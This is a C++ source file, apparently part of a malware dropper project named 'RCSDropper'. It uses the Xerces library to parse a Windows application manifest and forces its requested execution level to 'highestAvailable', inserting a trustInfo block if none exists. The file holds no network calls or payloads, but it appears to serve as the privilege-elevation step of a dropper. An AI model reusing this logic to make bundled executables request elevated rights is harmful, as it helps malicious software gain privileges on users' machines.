RCSDropper/Manifest.cpp
#include <iostream>
using namespace std;
#include <xercesc/dom/DOM.hpp>
#include <xercesc/dom/DOMError.hpp>
#include <xercesc/framework/MemBufFormatTarget.hpp>
#include <xercesc/framework/MemBufInputSource.hpp>
#include <xercesc/util/XMLString.hpp>
#include <xercesc/util/PlatformUtils.hpp>
using namespace xercesc;
#include "Manifest.h"
static std::string default_manifest =
"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\r\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\r\n <assemblyIdentity\r\n name=\"Microsoft.Windows.MyCoolApp\"\r\n processorArchitecture=\"x86\"\r\n version=\"7.0.10.4165\"\r\n type=\"win32\"/>\r\n <description>Application description here</description>\r\n <dependency>\r\n <dependentAssembly>\r\n <assemblyIdentity\r\n type=\"win32\"\r\n name=\"Microsoft.Windows.Common-Controls\"\r\n version=\"6.0.0.0\"\r\n processorArchitecture=\"x86\"\r\n publicKeyToken=\"6595b64144ccf1df\"\r\n language=\"*\"\r\n />\r\n </dependentAssembly>\r\n </dependency>\r\n <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\">\r\n <security>\r\n <requestedPrivileges>\r\n <requestedExecutionLevel\r\n level=\"highestAvailable\"\r\n uiAccess=\"False\"/>\r\n </requestedPrivileges>\r\n </security>\r\n </trustInfo>\r\n</assembly>";
class MyDOMErrorHandler : public DOMErrorHandler
{
public:
MyDOMErrorHandler(){};
~MyDOMErrorHandler(){};
/** @name The error handler interface */
bool handleError(const DOMError& domError)
{
// Display whatever error message passed from the serializer
if (domError.getSeverity() == DOMError::DOM_SEVERITY_WARNING)
XERCES_STD_QUALIFIER cerr << "\nWarning Message: ";
else if (domError.getSeverity() == DOMError::DOM_SEVERITY_ERROR)
XERCES_STD_QUALIFIER cerr << "\nError Message: ";
else
XERCES_STD_QUALIFIER cerr << "\nFatal Message: ";
char *msg = XMLString::transcode(domError.getMessage());
XERCES_STD_QUALIFIER cerr<< msg <<XERCES_STD_QUALIFIER endl;
XMLString::release(&msg);
// Instructs the serializer to continue serialization if possible.
return true;
}
void resetErrors(){};
private :
/* Unimplemented constructors and operators */
MyDOMErrorHandler(const DOMErrorHandler&);
void operator=(const DOMErrorHandler&);
};
Manifest::Manifest()
{
}
Manifest::Manifest(string manifest)
: _manifest(manifest)
{
XMLCh tempStr[100];
XMLString::transcode("LS", tempStr, 99);
_impl = DOMImplementationRegistry::getDOMImplementation(tempStr);
_parser = ((DOMImplementationLS*)_impl)->createLSParser(DOMImplementationLS::MODE_SYNCHRONOUS, 0);
// optionally you can set some features on this builder
_parser->getDomConfig()->setParameter(XMLUni::fgDOMWellFormed, true);
_parser->getDomConfig()->setParameter(XMLUni::fgDOMValidateIfSchema, true);
_parser->getDomConfig()->setParameter(XMLUni::fgDOMNamespaces, true);
_parser->getDomConfig()->setParameter(XMLUni::fgDOMDatatypeNormalization, true);
_parser->getDomConfig()->setParameter(XMLUni::fgDOMNormalizeCharacters, true);
// optionally you can implement your DOMErrorHandler (e.g. MyDOMErrorHandler)
// and set it to the builder
MyDOMErrorHandler* errHandler = new MyDOMErrorHandler();
_parser->getDomConfig()->setParameter(XMLUni::fgDOMErrorHandler, errHandler);
}
Manifest::~Manifest(void)
{
}
void Manifest::create()
{
_manifest = default_manifest;
}
bool Manifest::check()
{
DOMLSInput* input = _impl->createLSInput();
input->setEncoding(XMLUni::fgISO88591EncodingString);
input->setStringData((XMLCh*)_manifest.c_str());
try {
_doc = _parser->parse(input);
}
catch (const XMLException& toCatch) {
char* message = XMLString::transcode(toCatch.getMessage());
cout << "Exception message is: \n"
<< message << "\n";
XMLString::release(&message);
return false;
}
catch (const DOMException& toCatch) {
char* message = XMLString::transcode(toCatch.msg);
cout << "Exception message is: \n"
<< message << "\n";
XMLString::release(&message);
return false;
}
catch (...) {
cout << "Unexpected Exception \n" ;
return false;
}
input->release();
if (_doc) {
DOMNodeList* childs = _doc->getElementsByTagName(XMLString::transcode("*"));
if (childs) {
int size = childs->getLength();
if (size > 0) {
for (int i = 0; i < size; i++) {
DOMNode* node = childs->item(i);
string nodeName = XMLString::transcode(node->getLocalName());
cout << "NODE: " << nodeName << endl;
if (!nodeName.compare("requestedExecutionLevel")) {
// change attributes
DOMNamedNodeMap* attributes = node->getAttributes();
DOMNode* levelNode = attributes->getNamedItem(XMLString::transcode("level"));
if (levelNode) {
string level = XMLString::transcode(levelNode->getNodeValue());
cout << "LEVEL: " << level << endl;
if (level.compare("highestAvailable") && level.compare("requireAdministrator")) {
cout << "Changing level to highestAvailable" << endl;
levelNode->setNodeValue(XMLString::transcode("highestAvailable"));
}
}
return true;
}
}
// we have not found a requestedExecutionLevel entry, so add it
DOMNode *trustInfoNode = createTrustInfo();
_doc->getDocumentElement()->appendChild(_doc->importNode(trustInfoNode, true));
}
}
}
return true;
}
bool Manifest::initialize()
{
try {
XMLPlatformUtils::Initialize();
}
catch (const XMLException& toCatch) {
char* message = XMLString::transcode(toCatch.getMessage());
cout << "Error during xercesc initialization! : " << endl;
cout << message << endl;
XMLString::release(&message);
return false;
}
return true;
}
DOMElement* Manifest::createTrustInfo()
{
DOMImplementation* impl = DOMImplementationRegistry::getDOMImplementation(XMLString::transcode("Range"));
DOMDocument* doc = impl->createDocument(0, XMLString::transcode("root"), 0);
DOMElement* root = doc->getDocumentElement();
DOMElement* trustInfoNode = doc->createElementNS(XMLString::transcode("urn:schemas-microsoft-com:asm.v3"),
XMLString::transcode("ms_asmv3:trustInfo"));
root->appendChild(trustInfoNode);
DOMNode* securityNode = doc->createElement(XMLString::transcode("ms_asmv3:security"));
trustInfoNode->appendChild(securityNode);
DOMNode* requestedPrivilegesNode = doc->createElement(XMLString::transcode("ms_asmv3:requestedPrivileges"));
securityNode->appendChild(requestedPrivilegesNode);
DOMNode* requestedExecutionLevelNode = doc->createElement(XMLString::transcode("ms_asmv3:requestedExecutionLevel"));
requestedPrivilegesNode->appendChild(requestedExecutionLevelNode);
DOMAttr* levelAttr = doc->createAttribute(XMLString::transcode("level"));
levelAttr->setValue(XMLString::transcode("highestAvailable"));
((DOMElement*)requestedExecutionLevelNode)->setAttributeNode(levelAttr);
DOMAttr* uiAccessAttr = doc->createAttribute(XMLString::transcode("uiAccess"));
uiAccessAttr->setValue(XMLString::transcode("false"));
((DOMElement*)requestedExecutionLevelNode)->setAttributeNode(uiAccessAttr);
// optionally, call release() to release the resource associated with the range after done
DOMRange* range = doc->createRange();
range->release();
// no need to release this returned object which is owned by implementation
DOMNodeList* nodeList = doc->getElementsByTagName(XMLString::transcode("*"));
return trustInfoNode;
}
bool Manifest::serialize()
{
DOMLSSerializer* serializer = ((DOMImplementationLS*)_impl)->createLSSerializer();
// optionally you can set some features on this serializer
if (serializer->getDomConfig()->canSetParameter(XMLUni::fgDOMWRTDiscardDefaultContent, false))
serializer->getDomConfig()->setParameter(XMLUni::fgDOMWRTDiscardDefaultContent, false);
if (serializer->getDomConfig()->canSetParameter(XMLUni::fgDOMWRTFormatPrettyPrint, false))
serializer->getDomConfig()->setParameter(XMLUni::fgDOMWRTFormatPrettyPrint, false);
XMLFormatTarget *formTarget = new MemBufFormatTarget();
DOMLSOutput* output = ((DOMImplementationLS*)_impl)->createLSOutput();
output->setByteStream(formTarget);
output->setEncoding(XMLUni::fgUTF8EncodingString);
try {
serializer->write(_doc, output);
}
catch (const XMLException& c) {
char* message = XMLString::transcode(c.getMessage());
cout << "Exception message is: \n"
<< message << "\n";
XMLString::release(&message);
return false;
}
catch (const DOMException& c) {
char* message = XMLString::transcode(c.msg);
cout << "Exception message is: \n"
<< message << "\n";
XMLString::release(&message);
return false;
}
catch (...) {
cout << "Unexpected Exception \n" ;
return false;
}
_manifest = (char*) ((MemBufFormatTarget*)formTarget)->getRawBuffer();
output->release();
serializer->release();
delete formTarget;
return true;
}